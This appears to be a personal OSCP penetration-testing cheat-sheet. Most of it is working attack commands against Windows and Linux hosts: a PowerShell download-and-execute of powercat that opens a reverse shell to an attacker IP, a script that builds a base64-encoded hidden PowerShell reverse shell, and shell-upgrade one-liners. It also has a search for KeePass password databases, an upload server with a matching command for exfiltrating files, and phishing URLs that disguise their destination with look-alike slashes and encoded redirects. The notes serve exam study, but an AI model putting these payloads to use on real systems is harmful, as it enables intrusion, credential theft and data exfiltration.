Miscellaneous Notes

https://johnstawinski.com/2022/10/09/oscp-2023-study-guide-new-exam-format/ Ippsec’s videos - vital at the beginning - show a bunch of HTB walkthroughs

RDP on kali: xfreerdp /u:{username} /p:{password} /v:{IP} (optional)/d:{domain} (optional)/drive:shared,/home/kali/Downloads/

Fixing Memory Corruption Exploits

Seems the WP admin creds are no longer admin/test, but rather admin/password

Phishing with fake slashes: https://github.com∕praetorian-inc∕noseyparker∕releases∕download∕v0.23.0∕secret-noseyparker-v0.23.0-aarch64-apple-darwin.tar.gz@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%79%63%38%78%61%66%74%32

Another example: https://www.amazon.com∕gp∕product∕B008A0GNA8pr=conplccinc=259d9f6c-ea4f-492b-a741-8ca016e53a70ts=abthh8sjiwjcbgqcpkynoq55p8khgag&dasin=B07774L6TT&plattr=mathplace=priceblockimp@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%79%63%38%78%61%66%74%32?=96298722-d186-4e28-b5e9-2ca14f49d977

Using SMTP with swaks

If error no PostgreSQL user name specified in startup packet, make sure to:

export PGUSER=postgres
export PGDATABASE=postgres

Run powercat - IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.220:8000/powercat.ps1');powercat -c 192.168.45.220 -p 4444 -e powershell

Search for password database - Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

To copy an executable, use iwr -uri http://{kali_IP}/winPEASx64.exe -Outfile winPEAS.exe instead of curl

Linux reverse shells:

Windows reverse shell

import sys
    import base64
    
    payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.220",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
    
    cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
    
    print(cmd)
    

Transfer files with xfreerdp - xfreerdp /u:{u} /p:{p} /v:{IP} /drive:mydrive,{local_dir_path}

Upgrading linux shell:

python -c 'import pty; pty.spawn("/bin/bash")'
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    echo 'os.system('/bin/bash')'
    /bin/sh -i
    /bin/bash -i
    perl -e 'exec "/bin/sh";'
    

Exfiltrate files off of a Windows system sudo python3 app.py


#!/usr/bin/env python3
from http.server import SimpleHTTPRequestHandler, HTTPServer
import os

class FileUploadHTTPRequestHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)

        # Get the filename from the POST headers if provided
        filename = self.headers.get('filename', 'upload.bin')

        # Save the uploaded file
        with open(filename, 'wb') as f:
            f.write(post_data)

        # Send a response back to the client
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'File uploaded successfully')

if __name__ == "__main__":
    server_address = ('0.0.0.0', 8080)  # Use any port you want
    httpd = HTTPServer(server_address, FileUploadHTTPRequestHandler)
    print(f"Serving HTTP on {server_address[0]} port {server_address[1]} (http://{server_address[0]}:{server_address[1]}/)")
    httpd.serve_forever()
    

Invoke-WebRequest -Uri "http://{kali_IP}:8080/upload" -Method Post -InFile "{filename}" -Headers @{"filename"="{filename}"} -UseBasicParsing